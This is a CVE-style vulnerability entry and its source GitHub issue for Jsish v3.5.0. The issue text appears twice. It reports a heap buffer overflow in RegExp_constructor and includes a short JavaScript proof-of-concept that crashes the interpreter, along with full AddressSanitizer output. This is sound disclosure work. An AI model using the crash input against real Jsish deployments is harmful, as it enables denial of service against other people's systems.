Jsish v3.5.0 was discovered to contain a heap buffer overflow via RegExp_constructor in src/jsiRegexp.c. This vulnerability can lead to a Denial of Service (DoS).
cpe:2.3:a:jsish:jsish:3.5.0:*:*:*:*:*:*:*
E97897F2-55BD-40DD-9F33-7980D892A505
OR
###### Jsish revision

Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)

Version: v3.5.0



###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
export CFLAGS='-fsanitize=address'
make
```



###### Test case

```javascript
function JSEtest() {
  var bound;
  var t;
  bound = RegExp.bind('baz', 'quuux');
  t = new bound('i');
}

try {
  JSEtest();
} catch (e) {
}
```

​	

###### Execution steps & Output

```bash
$ ./jsish/jsish poc.js

==21392==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x604000018e48 at pc 0x55de4613ce12 bp 0x7ffdf013bf00 sp 0x7ffdf013bef0
WRITE of size 8 at 0x604000018e48 thread T0
    #0 0x55de4613ce11 in RegExp_constructor src/jsiRegexp.c:176
    #1 0x55de4619b818 in jsi_FuncCallSub src/jsiProto.c:244
    #2 0x55de46118fec in jsi_FunctionInvoke src/jsiFunc.c:777
    #3 0x55de46118fec in Jsi_FunctionInvoke src/jsiFunc.c:789
    #4 0x55de46194ad6 in jsi_FuncBindCall src/jsiProto.c:299
    #5 0x55de4619b818 in jsi_FuncCallSub src/jsiProto.c:244
    #6 0x55de4646571a in jsiFunctionSubCall src/jsiEval.c:796
    #7 0x55de4646571a in jsiEvalFunction src/jsiEval.c:837
    #8 0x55de4646571a in jsiEvalCodeSub src/jsiEval.c:1264
    #9 0x55de4647915e in jsi_evalcode src/jsiEval.c:2204
    #10 0x55de4619c834 in jsi_FuncCallSub src/jsiProto.c:220
    #11 0x55de464655ab in jsiFunctionSubCall src/jsiEval.c:796
    #12 0x55de464655ab in jsiEvalFunction src/jsiEval.c:837
    #13 0x55de464655ab in jsiEvalCodeSub src/jsiEval.c:1264
    #14 0x55de4647915e in jsi_evalcode src/jsiEval.c:2204
    #15 0x55de4647d274 in jsi_evalStrFile src/jsiEval.c:2665
    #16 0x55de4616c66a in Jsi_Main src/jsiInterp.c:936
    #17 0x55de4697103a in jsi_main src/main.c:47
    #18 0x7ff1757adbf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
    #19 0x55de46100969 in _start (/usr/local/bin/jsish+0xe8969)

0x604000018e48 is located 8 bytes to the left of 48-byte region [0x604000018e50,0x604000018e80)
allocated by thread T0 here:
    #0 0x7ff17641cd28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28)
    #1 0x55de46171aa4 in Jsi_Calloc src/jsiUtils.c:57

SUMMARY: AddressSanitizer: heap-buffer-overflow src/jsiRegexp.c:176 in RegExp_constructor
Shadow bytes around the buggy address:
  0x0c087fffb170: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
  0x0c087fffb180: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
  0x0c087fffb190: fa fa 00 00 00 00 00 00 fa fa fd fd fd fd fd fa
  0x0c087fffb1a0: fa fa 00 00 00 00 00 00 fa fa fd fd fd fd fd fa
  0x0c087fffb1b0: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
=>0x0c087fffb1c0: fa fa 00 00 00 00 00 04 fa[fa]00 00 00 00 00 00
  0x0c087fffb1d0: fa fa fd fd fd fd fd fa fa fa 00 00 00 00 00 06
  0x0c087fffb1e0: fa fa 00 00 00 00 00 00 fa fa fd fd fd fd fd fa
  0x0c087fffb1f0: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
  0x0c087fffb200: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
  0x0c087fffb210: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
```
Credits: Found by OWL337 team.
Heap-buffer-overflow  src/jsiRegexp.c:176 in RegExp_constructor
This is a GitHub Issue
repo:jsish
owner:pcmacdon
Title : Heap-buffer-overflow  src/jsiRegexp.c:176 in RegExp_constructor
Issue date:

--- start body ---
###### Jsish revision

Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)

Version: v3.5.0



###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
export CFLAGS='-fsanitize=address'
make
```



###### Test case

```javascript
function JSEtest() {
  var bound;
  var t;
  bound = RegExp.bind('baz', 'quuux');
  t = new bound('i');
}

try {
  JSEtest();
} catch (e) {
}
```

​	

###### Execution steps & Output

```bash
$ ./jsish/jsish poc.js

==21392==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x604000018e48 at pc 0x55de4613ce12 bp 0x7ffdf013bf00 sp 0x7ffdf013bef0
WRITE of size 8 at 0x604000018e48 thread T0
    #0 0x55de4613ce11 in RegExp_constructor src/jsiRegexp.c:176
    #1 0x55de4619b818 in jsi_FuncCallSub src/jsiProto.c:244
    #2 0x55de46118fec in jsi_FunctionInvoke src/jsiFunc.c:777
    #3 0x55de46118fec in Jsi_FunctionInvoke src/jsiFunc.c:789
    #4 0x55de46194ad6 in jsi_FuncBindCall src/jsiProto.c:299
    #5 0x55de4619b818 in jsi_FuncCallSub src/jsiProto.c:244
    #6 0x55de4646571a in jsiFunctionSubCall src/jsiEval.c:796
    #7 0x55de4646571a in jsiEvalFunction src/jsiEval.c:837
    #8 0x55de4646571a in jsiEvalCodeSub src/jsiEval.c:1264
    #9 0x55de4647915e in jsi_evalcode src/jsiEval.c:2204
    #10 0x55de4619c834 in jsi_FuncCallSub src/jsiProto.c:220
    #11 0x55de464655ab in jsiFunctionSubCall src/jsiEval.c:796
    #12 0x55de464655ab in jsiEvalFunction src/jsiEval.c:837
    #13 0x55de464655ab in jsiEvalCodeSub src/jsiEval.c:1264
    #14 0x55de4647915e in jsi_evalcode src/jsiEval.c:2204
    #15 0x55de4647d274 in jsi_evalStrFile src/jsiEval.c:2665
    #16 0x55de4616c66a in Jsi_Main src/jsiInterp.c:936
    #17 0x55de4697103a in jsi_main src/main.c:47
    #18 0x7ff1757adbf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
    #19 0x55de46100969 in _start (/usr/local/bin/jsish+0xe8969)

0x604000018e48 is located 8 bytes to the left of 48-byte region [0x604000018e50,0x604000018e80)
allocated by thread T0 here:
    #0 0x7ff17641cd28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28)
    #1 0x55de46171aa4 in Jsi_Calloc src/jsiUtils.c:57

SUMMARY: AddressSanitizer: heap-buffer-overflow src/jsiRegexp.c:176 in RegExp_constructor
Shadow bytes around the buggy address:
  0x0c087fffb170: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
  0x0c087fffb180: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
  0x0c087fffb190: fa fa 00 00 00 00 00 00 fa fa fd fd fd fd fd fa
  0x0c087fffb1a0: fa fa 00 00 00 00 00 00 fa fa fd fd fd fd fd fa
  0x0c087fffb1b0: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
=>0x0c087fffb1c0: fa fa 00 00 00 00 00 04 fa[fa]00 00 00 00 00 00
  0x0c087fffb1d0: fa fa fd fd fd fd fd fa fa fa 00 00 00 00 00 06
  0x0c087fffb1e0: fa fa 00 00 00 00 00 00 fa fa fd fd fd fd fd fa
  0x0c087fffb1f0: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
  0x0c087fffb200: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
  0x0c087fffb210: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
```
Credits: Found by OWL337 team.
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